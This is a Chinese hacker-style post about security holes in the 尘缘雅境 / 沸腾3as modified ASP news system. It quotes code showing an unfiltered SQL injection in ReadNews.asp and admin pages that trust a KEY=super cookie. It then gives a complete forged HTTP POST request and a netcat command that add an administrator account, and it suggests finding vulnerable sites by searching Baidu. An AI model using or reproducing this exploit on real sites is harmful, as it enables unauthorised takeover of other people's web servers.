尘缘雅境图文系统免费版(沸腾3as修改版)漏洞

尘缘雅境图文系统免费版(沸腾3as修改版)漏洞尘缘雅境图文系统免费版(沸腾3as修改版)漏洞———添加系统管理员    尘缘雅境图文系统免费版(沸腾3as修改版)（以下简称‘沸腾修改版’）包括尘缘雅境图文系统免费版在内存在着很多的漏洞，由于沸腾修改版功能强大，比尘缘雅境图文系统免费版30build20030123增添了许多实用的功能，给好多以iis服务器为基础的部门网站的新闻添加带来了方便。但其整体安全性能实在令人担忧。 在沸腾修改版中最普遍的问题是对用户提交的东西验证不严格也就是专业术语存在sql injection漏洞，虽然在有些地方过滤了空格或者单引号但好多地方并没有这样做。随便找一页看一看，就找最常用的一页ReadNews.asp，下面是部分代码： ************************************************ <%'该文件需要进行调整和设置 dim typename NewsID=Request.QueryString("NewsID") ‘得到newsid,但没有过滤再看下面. if newsid="" then Response.Write "未指定参数" else conn.execute("update News Set Click=click+1 where NewsID=" & NewsID ) ‘没有过滤 set rs=server.CreateObject("ADODB.RecordSet") if uselevel=1 then if Request.cookies("key")="" then rs.Source="select * from News where checkked=1 and newslevel=0 and newsid="&newsid ‘没有 end if 省略部分代码…… else rs.Source="select * from News where newsid="&newsid ‘没有过滤 end if rs.Open rs.Source,conn,1,1 if rs.bof and rs.eof then response.write "无权限访问或无此内容" else end if 省略部分代码…… 看到了吧空格没有过滤,以前有几期《黑防》上已经介绍过怎么用了如:有一期介绍盗帅的攻击方式,不防可以试一试.怎么功自己想吧我也不知道怎么用因为我不怎么看懂^-^.这样的问题太普遍了不防下载一个沸腾修改版,看一看你也可以发现自己可以用的. 不过这样太麻烦了, 沸腾修改版给了我们更’方便的功能’^-^,也就是我今天说的重点. 先看admin目录下的两个文件,useradd1.asp和useradd2.asp的部分代码. useradd1.asp部分代码: ***********************************  ‘conn.asp连接数据库  ‘config.asp 初始化整个系统 <% IF not(request.cookies("KEY")="super" or request.cookies("KEY")="typemaster" or request.cookies("KEY")="bigmaster") THEN ‘看到了吧限制用户访问的只判断key的值是否为super或. typemaster response.redirect "index_face.asp" response.end END IF %> <html> 身略部分代码…… 想到怎么用了吧一会再说,再看另一个文件 useradd2.asp部分代码: ********************************   ‘char.inc为一比较详尽的过滤字符的文件  ‘省略部分代码…… IF not(request.cookies("KEY")="super" or request.cookies("KEY")="typemaster" or request.cookies("KEY")="bigmaster") THEN ‘‘同样,限制用户访问的只判断key的值是否为super或. Typemaster,还有bigmaster ^-^ response.redirect "index_face.asp" response.end END IF ‘省略部分过滤非法字符的代码 下面检查所添用户是否存在 end if set rs=server.createobject("adodb.recordset") sql="select * from admin" rs.open sql,conn,3,3 do while not rs.eof if rs("username")=UserName then response.write "已经存在这个用户名！请<a href=javascript:history.go(-1)>返回重新填写</a>！" ‘省略部分的代码 ‘下面就开始添加用户了!!!!!!!!!!! rst.addnew rst("oskey")=oskey rst("shenhe")=request.form("shenhe") ‘省略部分的代码 end if rst.update ********************** 看到这怎么攻击有准了吧. 准备一个nc.exe再在百度搜索一把,就搜”尘缘雅境”吧.好多吧.本人已经给你准备了攻击代码,把以下代码方到nc的目录内保存为1.txt: POST /cyyj/admin/useradd2.asp HTTP/1.1 ‘cyyj为本机上的尘缘雅境目录 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/x-gsarcade-launch, */* Referer: <A target=_blank href="http://127.0.0.1/cyyj/admin/useradd1.asp">http://127.0.0.1/cyyj/admin/useradd1.asp</A> ‘ip换一下呀 Accept-Language: zh-cn Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Host: jlong Content-Length: 140 Connection: Keep-Alive Cache-Control: no-cache Cookie: reglevel=; fullname=; purview=99999; KEY=super; UserName=; ASPSESSIONIDGQGGQBGU=HADHECFBHNKFGBFHOLDGHKMD; Passwd=; newsrelated=; Content= username=tupunco&passwd=115820484&passwd2=115820484&fullname=tupuncotupunco&depid=1& oskey=super&shenhe=0&purview=1&adder=tupunco&cmdOk=+%C8%B7+%B6%A8+ 再打开命令提示符转到nc目录内: c:\>d: d:\>cd nc d:\nc>nc –vv 127.0.0.1 80 <1.txt 好了你现在得到了一个系统管理员的权限用户名为:tupunco 密码为: 115820484. 好了登陆吧,添加一篇介绍告诉他怎么了……, 不要做坏事呀^-^ 注意只在自己的机子上实验通过！！！~~~~~